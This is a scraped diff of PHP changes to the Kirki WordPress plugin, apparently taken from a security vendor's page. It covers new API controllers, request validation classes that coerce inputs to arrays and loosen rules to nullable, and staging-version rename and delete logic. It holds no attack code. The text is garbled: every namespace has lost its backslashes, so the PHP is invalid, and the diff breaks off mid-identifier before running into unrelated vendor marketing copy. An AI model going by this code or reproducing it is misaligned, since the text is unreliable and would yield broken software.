             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
--- a/kirki/app/Http/Controllers/Api/PostController.php
+++ b/kirki/app/Http/Controllers/Api/PostController.php
@@ -0,0 +1,55 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppHttpRequestsPostPostSlugValidationRequest;
+use KirkiAppServicesPostService;
+use KirkiAppSupportsContentManager;
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkHttpResponse;
+use function KirkiFrameworkresponse;
+
+class PostController
+{
+    /**
+     * @var PostService
+     */
+    protected $service;
+
+    public function __construct(PostService $service)
+    {
+        $this->service = $service;
+    }
+
+    /**
+     * Validate WP post slug
+     *
+     * @since 6.0.14
+     *
+     * @param Request $request
+     *
+     * @return Response Returns a JSON response with the validation result.
+     */
+    public function validate_slug(PostSlugValidationRequest $request)
+    {
+        $is_valid = ContentManager::validate_slug(
+            $request->int('post_id', 0),
+            $request->string('post_type'),
+            $request->string('post_name')
+        );
+
+        return response()->json([
+            'data' => $is_valid,
+            'message' => $is_valid ? __('Slug validated successfully..', 'kirki') : __('Slug is not available.', 'kirki'),
+        ]);
+    }
+
+    public function get_all_posts_grouped_by_type(Request $request)
+    {
+        return response()->json([
+            'data' => $this->service->get_all_posts_grouped_by_type($request->string('search', '')),
+        ]);
+    }
+}
--- a/kirki/app/Http/Controllers/Api/UserController.php
+++ b/kirki/app/Http/Controllers/Api/UserController.php
@@ -4,8 +4,11 @@

 defined('ABSPATH') || exit;

+use KirkiAppConstantsUserMetaKeys;
 use KirkiFrameworkHttpRequest;
+use KirkiFrameworkWordpressUserMeta;

+use function KirkiAppto_boolean;
 use function KirkiFrameworkresponse;
 use function KirkiFrameworkuser;

@@ -21,4 +24,22 @@
             ],
         ]);
     }
+
+    public function set_walkthrough_state(Request $request) {
+        $state = $request->bool('walkthrough_shown_state', false);
+
+        UserMeta::update(user()->get_id(), UserMetaKeys::WALKTHROUGH_SHOWN_STATE, $state);
+
+        return response()->json([
+            'data' => true,
+        ]);
+    }
+
+    public function get_walkthrough_state(Request $request) {
+        $state = UserMeta::get(user()->get_id(), UserMetaKeys::WALKTHROUGH_SHOWN_STATE);
+
+        return response()->json([
+            'data' => to_boolean($state),
+        ]);
+    }
 }
 No newline at end of file
--- a/kirki/app/Http/Requests/Apps/AppSettingsRequest.php
+++ b/kirki/app/Http/Requests/Apps/AppSettingsRequest.php
@@ -7,8 +7,17 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class AppSettingsRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'settings' => ensure_array($this->settings),
+        ]);
+    }
+
     public function rules()
     {
         return [
--- a/kirki/app/Http/Requests/CollaborationComment/CollaborationCommentStoreRequest.php
+++ b/kirki/app/Http/Requests/CollaborationComment/CollaborationCommentStoreRequest.php
@@ -6,8 +6,18 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class CollaborationCommentStoreRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'comment' => ensure_array($this->comment),
+            'meta_data' => ensure_array($this->meta_data),
+        ]);
+    }
+
     /**
      * Validation rules.
      */
--- a/kirki/app/Http/Requests/CollaborationRequest.php
+++ b/kirki/app/Http/Requests/CollaborationRequest.php
@@ -0,0 +1,42 @@
+<?php
+
+namespace KirkiAppHttpRequests;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+use function KirkiAppensure_array;
+
+class CollaborationRequest extends Request
+{
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'data' => ensure_array($this->data),
+        ]);
+    }
+
+    public function rules()
+    {
+        return [
+            'data' => 'required|array',
+            'data.*.parent' => 'nullable|string',
+            'data.*.parent_id' => 'nullable|integer',
+            'data.*.action' => 'nullable|array',
+            'session_id' => 'required|string',
+        ];
+    }
+
+    public function filters()
+    {
+        return [
+            'data' => Sanitizer::ARRAY,
+            'data.*.parent' => Sanitizer::TEXT,
+            'data.*.parent_id' => Sanitizer::INT,
+            'data.*.action' => Sanitizer::ARRAY,
+            'session_id' => Sanitizer::TEXT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/Collection/CollectionStoreRequest.php
+++ b/kirki/app/Http/Requests/Collection/CollectionStoreRequest.php
@@ -6,6 +6,8 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class CollectionStoreRequest extends Request
 {
     /**
@@ -13,15 +15,14 @@
      */
     protected function prepare_for_validation()
     {
-        $data = $this->get('data');
+        $data = ensure_array($this->get('data') ?? []);
+
+        $this->merge($data);

-        if (is_string($data)) {
-            $data = json_decode($data, true);
-        }
-
-        if (is_array($data)) {
-            $this->merge($data);
-        }
+        $this->merge([
+            'fields' => ensure_array($this->fields),
+            'basic_fields' => ensure_array($this->basic_fields),
+        ]);
     }

     /**
@@ -33,6 +34,7 @@
             'ID' => 'nullable',
             'post_title' => 'required|string',
             'post_name' => 'nullable|string',
+            'preset_type' => 'nullable|string',

             'fields' => 'nullable|array',
             'fields.*.id' => 'required|string',
@@ -41,6 +43,7 @@
             'fields.*.title' => 'required|string',
             'fields.*.help_text' => 'nullable|string',
             'fields.*.required' => 'required|boolean',
+            'fields.*.templateKey' => 'nullable|string',

             'basic_fields' => 'nullable|array',
         ];
@@ -55,6 +58,7 @@
             'ID' => Sanitizer::INT,
             'post_title' => Sanitizer::TEXT,
             'post_name' => Sanitizer::TEXT,
+            'preset_type' => Sanitizer::TEXT,

             'fields' => Sanitizer::ARRAY ,
             'fields.*.id' => Sanitizer::TEXT,
@@ -63,6 +67,7 @@
             'fields.*.title' => Sanitizer::TEXT,
             'fields.*.help_text' => Sanitizer::TEXT,
             'fields.*.required' => Sanitizer::BOOL,
+            'fields.*.templateKey' => Sanitizer::TEXT,

             'basic_fields' => Sanitizer::ARRAY ,
         ];
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemBulkActionRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemBulkActionRequest.php
@@ -6,8 +6,17 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class CollectionItemBulkActionRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'post_ids' => ensure_array($this->post_ids),
+        ]);
+    }
+
     /**
      * Validation rules.
      */
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemConditionRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemConditionRequest.php
@@ -0,0 +1,48 @@
+<?php
+
+namespace KirkiAppHttpRequestsCollectionItem;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+use function KirkiAppensure_array;
+
+class CollectionItemConditionRequest extends Request
+{
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'conditions' => ensure_array($this->conditions),
+        ]);
+    }
+
+    public function rules()
+    {
+        return [
+            'query' => 'nullable|string',
+            'conditions' => 'nullable|array',
+            'conditions.*.type' => 'nullable|string',
+            'conditions.*.post_type' => 'nullable|string',
+            'conditions.*.from' => 'nullable|string',
+            'conditions.*.to' => 'nullable|string',
+            'conditions.*.category' => 'nullable|string',
+            'conditions.*.where' => 'nullable|string',
+        ];
+    }
+
+    public  function filters()
+    {
+        return [
+            'query' => Sanitizer::TEXT,
+            'conditions' => Sanitizer::ARRAY,
+            'conditions.*.type' => Sanitizer::TEXT,
+            'conditions.*.post_type' => Sanitizer::TEXT,
+            'conditions.*.from' => Sanitizer::TEXT,
+            'conditions.*.to' => Sanitizer::TEXT,
+            'conditions.*.category' => Sanitizer::TEXT,
+            'conditions.*.where' => Sanitizer::TEXT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemStoreRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemStoreRequest.php
@@ -7,6 +7,8 @@
 use KirkiFrameworkSanitizer;
 use KirkiFrameworkSupportsArr;

+use function KirkiAppensure_array;
+
 class CollectionItemStoreRequest extends Request
 {
     /**
@@ -27,6 +29,10 @@
         if (empty($data['post_status'])) {
             $this->merge(['post_status' => PostStatus::DRAFT]);
         }
+
+        $this->merge([
+            'fields' => ensure_array($this->fields),
+        ]);
     }

     /**
--- a/kirki/app/Http/Requests/DataRequest.php
+++ b/kirki/app/Http/Requests/DataRequest.php
@@ -7,27 +7,22 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
 use function KirkiFrameworkis_valid_json;

 class DataRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'data' => ensure_array($this->data),
+        ]);
+    }
+
     public function rules()
     {
         return [
-            'data' => [
-                'required',
-                function ($value) {
-                    if (is_array($value)) {
-                        return true;
-                    }
-
-                    if (is_valid_json($value)) {
-                        return true;
-                    }
-
-                    return __("The data must be an array or a valid JSON string.", 'kirki');
-                }
-            ],
+            'data' => 'required|array'
         ];
     }

--- a/kirki/app/Http/Requests/DownloadGoogleFontRequest.php
+++ b/kirki/app/Http/Requests/DownloadGoogleFontRequest.php
@@ -7,8 +7,17 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class DownloadGoogleFontRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'font' => ensure_array($this->font),
+        ]);
+    }
+
     public function rules()
     {
         return [
--- a/kirki/app/Http/Requests/Media/PaginatedMediaListRequest.php
+++ b/kirki/app/Http/Requests/Media/PaginatedMediaListRequest.php
@@ -12,12 +12,12 @@
     public function rules()
     {
         return [
-            'search' => 'string',
-            'category' => 'string',
-            'page' => 'integer|min:1',
-            'limit' => 'integer',
-            'sort_by' => 'string',
-            'sort_order' => 'string',
+            'search' => 'nullable|string',
+            'category' => 'nullable|string',
+            'page' => 'nullable|integer|min:1',
+            'limit' => 'nullable|integer',
+            'sort_by' => 'nullable|string',
+            'sort_order' => 'nullable|string',
         ];
     }

--- a/kirki/app/Http/Requests/Page/GlobalStyleRequest.php
+++ b/kirki/app/Http/Requests/Page/GlobalStyleRequest.php
@@ -2,6 +2,8 @@

 namespace KirkiAppHttpRequestsPage;

+use function KirkiAppensure_array;
+
 defined('ABSPATH') || exit;

 use KirkiFrameworkHttpRequest;
@@ -11,13 +13,20 @@

 class GlobalStyleRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'styles' => ensure_array($this->styles),
+        ]);
+    }
+
     public function rules()
     {
         return [
             'session_id' => 'required|string',
-            'styles' => 'array',
-            'styles.*' => 'array',
-            'styles.*.isGlobalStyle' => ['required', fn ($value) => is_falsy($value) ? __('The isGlobalStyle field is required.', 'kirki') : true],
+            'styles' => 'nullable|array',
+            'styles.*' => 'nullable|array',
+            'styles.*.isGlobalStyle' => ['required', fn($value) => is_falsy($value) ? __('The isGlobalStyle field is required.', 'kirki') : true],
         ];
     }

@@ -25,7 +34,7 @@
     {
         return [
             'session_id' => Sanitizer::TEXT,
-            'styles' => Sanitizer::ARRAY,
+            'styles' => Sanitizer::ARRAY ,
         ];
     }
 }
 No newline at end of file
--- a/kirki/app/Http/Requests/Page/PageDataRequest.php
+++ b/kirki/app/Http/Requests/Page/PageDataRequest.php
@@ -9,46 +9,55 @@
 use KirkiFrameworkHttpResponse;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PageDataRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'data' => ensure_array($this->data),
+        ]);
+    }
+
     public function rules()
     {
         $rules = [
             'session_id' => 'required|string',
-            'is_staging' => 'boolean',
+            'is_staging' => 'nullable|boolean',
             'data' => 'required|array',
             'data.blocks' => 'prohibited',
             'data.styles' => 'prohibited',
             'data.usedStyles' => 'prohibited',
             'data.usedStyleIdsRandom' => 'prohibited',
             'data.usedFonts' => 'prohibited',
-
+
         ];

-        switch($this->page_content_type) {
+        switch ($this->page_content_type) {
             case 'blocks':
                 $rules = array_merge($rules, [
-                    'data.blocks' => 'array',
+                    'data.blocks' => 'nullable|array',
                 ]);
                 break;
             case 'styles':
                 $rules = array_merge($rules, [
-                    'data.styles' => 'array',
+                    'data.styles' => 'nullable|array',
                 ]);
                 break;
             case 'used-styles':
                 $rules = array_merge($rules, [
-                    'data.usedStyles' => 'array',
+                    'data.usedStyles' => 'nullable|array',
                 ]);
                 break;
             case 'used-style-ids-random':
                 $rules = array_merge($rules, [
-                    'data.usedStyleIdsRandom' => 'array',
+                    'data.usedStyleIdsRandom' => 'nullable|array',
                 ]);
                 break;
             case 'used-fonts':
                 $rules = array_merge($rules, [
-                    'data.usedFonts' => 'array',
+                    'data.usedFonts' => 'nullable|array',
                 ]);
                 break;
             default:
@@ -61,12 +70,12 @@
     public function filters()
     {
         return [
-            'data' => Sanitizer::ARRAY,
-            'data.blocks' => Sanitizer::ARRAY,
-            'data.styles' => Sanitizer::ARRAY,
-            'data.usedStyles' => Sanitizer::ARRAY,
-            'data.usedStyleIdsRandom' => Sanitizer::ARRAY,
-            'data.usedFonts' => Sanitizer::ARRAY,
+            'data' => Sanitizer::ARRAY ,
+            'data.blocks' => Sanitizer::ARRAY ,
+            'data.styles' => Sanitizer::ARRAY ,
+            'data.usedStyles' => Sanitizer::ARRAY ,
+            'data.usedStyleIdsRandom' => Sanitizer::ARRAY ,
+            'data.usedFonts' => Sanitizer::ARRAY ,
             'session_id' => Sanitizer::TEXT,
             'is_staging' => Sanitizer::BOOL,
         ];
--- a/kirki/app/Http/Requests/Page/PageRequest.php
+++ b/kirki/app/Http/Requests/Page/PageRequest.php
@@ -10,8 +10,19 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PageRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'blocks' => ensure_array($this->blocks),
+            'conditions' => ensure_array($this->conditions),
+            'custom_template' => ensure_array($this->custom_template),
+        ]);
+    }
+
     public function rules()
     {
         return [
@@ -43,6 +54,8 @@
             ],
             'custom_template' => 'nullable|array',
             'custom_template.url' => 'nullable|url',
+            'content_manager_collection_id' => 'nullable|integer',
+            'content_manager_page_kind' => 'nullable|string|in:index,details',
         ];
     }

@@ -57,6 +70,8 @@
             'utility_page_type' => Sanitizer::TEXT,
             'custom_template' => Sanitizer::ARRAY,
             'custom_template.url' => Sanitizer::URL,
+            'content_manager_collection_id' => Sanitizer::INT,
+            'content_manager_page_kind' => Sanitizer::TEXT,
         ];
     }
-}
 No newline at end of file
+}
--- a/kirki/app/Http/Requests/Page/PageSettingsRequest.php
+++ b/kirki/app/Http/Requests/Page/PageSettingsRequest.php
@@ -7,18 +7,28 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PageSettingsRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'seo_settings' => ensure_array($this->seo_settings),
+            'custom_code' => ensure_array($this->custom_code),
+        ]);
+    }
+
     public function rules()
     {
         return [
-            'page_title' => 'string',
-            'slug' => 'string',
-            'page_description' => 'string',
-            'post_status' => 'string',
-            'featured_image' => 'url',
-            'seo_settings' => 'array',
-            'custom_code' => 'array',
+            'page_title' => 'nullable|string',
+            'slug' => 'nullable|string',
+            'page_description' => 'nullable|string',
+            'post_status' => 'nullable|string',
+            'featured_image' => 'nullable|url',
+            'seo_settings' => 'nullable|array',
+            'custom_code' => 'nullable|array',
         ];
     }

--- a/kirki/app/Http/Requests/Page/PageUpdateRequest.php
+++ b/kirki/app/Http/Requests/Page/PageUpdateRequest.php
@@ -12,9 +12,9 @@
     public function rules()
     {
         return [
-            'post_title' => 'string',
-            'post_name' => 'string',
-            'post_status' => 'string',
+            'post_title' => 'nullable|string',
+            'post_name' => 'nullable|string',
+            'post_status' => 'nullable|string',
         ];
     }

--- a/kirki/app/Http/Requests/Page/PopupRequest.php
+++ b/kirki/app/Http/Requests/Page/PopupRequest.php
@@ -7,14 +7,25 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PopupRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'blocks' => ensure_array($this->blocks),
+            'styleBlocks' => ensure_array($this->styleBlocks),
+            'usedFonts' => ensure_array($this->usedFonts),
+        ]);
+    }
+
     public function rules()
     {
         return [
-            'blocks' => 'array',
-            'styleBlocks' => 'array',
-            'usedFonts' => 'array',
+            'blocks' => 'nullable|array',
+            'styleBlocks' => 'nullable|array',
+            'usedFonts' => 'nullable|array',
         ];
     }

--- a/kirki/app/Http/Requests/Page/RenameStagingVersionRequest.php
+++ b/kirki/app/Http/Requests/Page/RenameStagingVersionRequest.php
@@ -0,0 +1,27 @@
+<?php
+
+namespace KirkiAppHttpRequestsPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class RenameStagingVersionRequest extends Request
+{
+    public function rules()
+    {
+        return [
+            'version_id' => 'required|integer',
+            'name' => 'required|string',
+        ];
+    }
+
+    public function filters()
+    {
+        return [
+            'version_id' => Sanitizer::INT,
+            'name' => Sanitizer::TEXT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/Page/StagingVersionRequest.php
+++ b/kirki/app/Http/Requests/Page/StagingVersionRequest.php
@@ -0,0 +1,25 @@
+<?php
+
+namespace KirkiAppHttpRequestsPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class StagingVersionRequest extends Request
+{
+    public function rules()
+    {
+        return [
+            'version_id' => 'required|integer',
+        ];
+    }
+
+    public function filters()
+    {
+        return [
+            'version_id' => Sanitizer::INT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/Post/PostSlugValidationRequest.php
+++ b/kirki/app/Http/Requests/Post/PostSlugValidationRequest.php
@@ -0,0 +1,33 @@
+<?php
+
+namespace KirkiAppHttpRequestsPost;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class PostSlugValidationRequest extends Request
+{
+    /**
+     * Validation rules.
+     */
+    public function rules()
+    {
+        return [
+            'post_id' => 'nullable|integer',
+            'post_type' => 'required|string',
+            'post_name' => 'required|string',
+        ];
+    }
+
+    /**
+     * Sanitization filters.
+     */
+    public function filters()
+    {
+        return [
+            'post_id' => Sanitizer::INT,
+            'post_type' => Sanitizer::TEXT,
+            'post_name' => Sanitizer::TEXT,
+        ];
+    }
+}
--- a/kirki/app/Managers/PageManager.php
+++ b/kirki/app/Managers/PageManager.php
@@ -5,6 +5,7 @@
 defined('ABSPATH') || exit;

 use KirkiAppConstantsKirkiDateTimeFormat;
+use KirkiAppConstantsOptionKeys;
 use KirkiAppConstantsPageMetaKeys;
 use KirkiAppConstantsPostTypes;
 use KirkiAppModelsPage as PageModel;
@@ -12,12 +13,13 @@
 use KirkiAppModelsPostMeta;
 use KirkiAppSupportsFacadesGlobalData;
 use KirkiFrameworkCollectionsCollection;
+use KirkiFrameworkSupportsFacadesOption;
 use KirkiFrameworkConstantsDateTimeFormats;
-use KirkiFrameworkSupportsArr;
 use KirkiFrameworkSupportsFacadesDate;

 use function KirkiAppget_editor_mode;
 use function KirkiAppget_timezone;
+use function KirkiAppis_falsy;
 use function KirkiAppis_truthy;
 use function KirkiFrameworkcollection;
 use function KirkiFrameworkuser;
@@ -170,9 +172,10 @@
 	 * Update last edited datetime of stage version
 	 *
 	 * @param int $page_id
+	 * @param bool $has_legacy_global_style default false
 	 * @return array|false
 	 */
-	public function set_last_edited_datetime_of_stage_version(int $page_id)
+	public function set_last_edited_datetime_of_stage_version(int $page_id, bool $has_legacy_global_style = false)
 	{
 		$staged_versions = $this->get_all_staged_versions($page_id);

@@ -182,10 +185,10 @@
 			return false;
 		}

-		$this->staged_versions = $staged_versions->map(function ($item, $index) use ($total_versions) {
+		$this->staged_versions = $staged_versions->map(function ($item, $index) use ($total_versions, $has_legacy_global_style) {
 			if ($index === $total_versions - 1) {
 				$item['last_updated'] = Date::now(get_timezone(true))->format(DateTimeFormats::DB_DATETIME);
-				$item['no_legacy_global_style'] = true;
+				$item['no_legacy_global_style'] = !$has_legacy_global_style;
 			}

 			return $item;
@@ -259,7 +262,7 @@
 				return $this->staged_versions = collection();
 			}

-			$staged_versions = $this->create_first_stage_version($page_id);
+			$staged_versions = $this->create_first_stage_version_if_empty($page_id);
 		} else {
 			$staged_versions = collection($staged_versions);
 		}
@@ -289,9 +292,12 @@
 	 * @param int $page_id
 	 * @return Collection
 	 */
-	private function create_first_stage_version(int $page_id)
+	private function create_first_stage_version_if_empty(int $page_id)
 	{
-		$new_version = $this->add_stage_version($page_id, 1);
+		// When stage version is empty, it means there is legacy global style blocks
+		$has_legacy_global_style = true;
+
+		$new_version = $this->add_stage_version($page_id, 1, [], false, $has_legacy_global_style);

 		$style_blocks_old_data = PostMeta::get_meta_value($page_id, PageMetaKeys::STYLE_BLOCKS, []);
 		$this->save_style_blocks($page_id, $style_blocks_old_data, $new_version);
@@ -307,8 +313,8 @@

 		$kirki_block_data = PostMeta::get_meta_value($page_id, PageMetaKeys::BLOCKS, []);
 		$this->save_blocks($page_id, $kirki_block_data, $new_version);
-
-		return $this->publish_stage_version($page_id);
+
+		return $this->publish_stage_version($page_id, $has_legacy_global_style);
 	}

 	/**
@@ -318,9 +324,10 @@
 	 * @param int $version_number
 	 * @param array $prev_versions
 	 * @param array|false $being_restored
+	 * @param bool $has_legacy_global_style default false
 	 * @return int
 	 */
-	private function add_stage_version(int $page_id, int $version_number, array $prev_versions = [], $being_restored = false)
+	private function add_stage_version(int $page_id, int $version_number, array $prev_versions = [], $being_restored = false, $has_legacy_global_style = false)
 	{
 		$version_name = $being_restored
 			? sprintf(__('[Restored] %s', 'kirki'), $being_restored['name'])
@@ -328,6 +335,10 @@

 		$datetime = wp_date(KirkiDateTimeFormat::DB_DATETIME); // @todo: improve later

+		if (!empty($being_restored)) {
+			$has_legacy_global_style = !($being_restored['has_legacy_global_style'] ?? false);
+		}
+
 		$new_version = [
 			'version' => $version_number,
 			'edited_by_id' => user()->get_id(),
@@ -336,7 +347,7 @@
 			'last_updated' => $datetime,
 			'name' => $version_name,
 			'publish' => false,
-			'no_legacy_global_style' => true,
+			'no_legacy_global_style' => !$has_legacy_global_style,
 		];

 		$prev_versions[] = $new_version;
@@ -352,19 +363,20 @@
 	 * Publish stage version
 	 *
 	 * @param int $page_id
+	 * @param bool $has_legacy_global_style default false
 	 * @return Collection
 	 */
-	public function publish_stage_version(int $page_id)
+	public function publish_stage_version(int $page_id, bool $has_legacy_global_style = false)
 	{
 		$stage_must = false;
 		$version_id = $this->get_most_recent_stage_version($page_id, $stage_must);

 		$this->staged_versions = $this->get_all_staged_versions($page_id)
-			->map(function ($item) use ($version_id) {
+			->map(function ($item) use ($version_id, $has_legacy_global_style) {
 				$is_published = isset($item['version']) && intval($item['version']) === intval($version_id);

 				$item['publish'] = $is_published;
-				$item['no_legacy_global_style'] = true;
+				$item['no_legacy_global_style'] = !$has_legacy_global_style;

 				return $item;
 			});
@@ -379,6 +391,112 @@
 	}

 	/**
+	 * Rename stage version
+	 *
+	 * @param int $page_id
+	 * @param int $version_id
+	 * @param string $new_name
+	 * @return Collection
+	 */
+	public function rename_stage_version(int $page_id, int $version_id, string $new_name)
+	{
+		$staged_versions = $this->get_all_staged_versions($page_id, false);
+
+		$this->staged_versions = $staged_versions->map(function ($item) use ($version_id, $new_name) {
+				if (is_array($item) && isset($item['version']) && intval($item['version']) === $version_id) {
+					$item['name'] = $new_name;
+				}
+
+				return $item;
+			}
+		);
+
+		PostMeta::update_meta_value($page_id, PageMetaKeys::STAGED_VERSIONS, $this->staged_versions->to_array());
+
+		return $this->staged_versions;
+	}
+
+	/**
+	 * Remove stage version
+	 *
+	 * @param int $page_id
+	 * @param int $version_id
+	 * @return Collection
+	 */
+	public function remove_stage_version(int $page_id, int $version_id)
+	{
+		$stage_only = true;
+		$meta_keys = [];
+
+		foreach([
+			PageMetaKeys::STYLE_BLOCKS,
+			PageMetaKeys::GLOBAL_STYLE_BLOCK_DEPRECATED,
+			PageMetaKeys::USED_GLOBAL_STYLE_BLOCK_IDS,
+			PageMetaKeys::USED_STYLE_BLOCK_IDS,
+			PageMetaKeys::USED_FONT_LIST,
+			PageMetaKeys::BLOCKS
+		] as $key) {
+			$meta_keys[] = $this->get_staged_meta_name($key, $page_id, $version_id, $stage_only);
+		}
+
+		PostMeta::query()
+			->where('post_id', $page_id)
+			->where_in('meta_key', $meta_keys)
+			->delete();
+
+		$staged_versions = $this->get_all_staged_versions($page_id, false);
+
+		$this->staged_versions = $staged_versions->filter(function ($item) use ($version_id) {
+			// Filter out the version which is matched and not published
+			return !(
+				is_array($item)
+				&& isset($item['publish'], $item['version'])
+				&& is_falsy($item['publish'])
+				&& intval($item['version']) === $version_id
+			);
+		})->values();
+
+		PostMeta::update_meta_value($page_id, PageMetaKeys::STAGED_VERSIONS, $this->staged_versions->to_array());
+
+		return $this->staged_versions;
+	}
+
+	protected function restore_page_meta(string $meta_key,int $page_id, int $old_version_id, int $new_version_id)
+	{
+		$old_meta_key = $this->get_staged_meta_name($meta_key, $page_id, $old_version_id);
+		$old_data = PostMeta::get_m

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.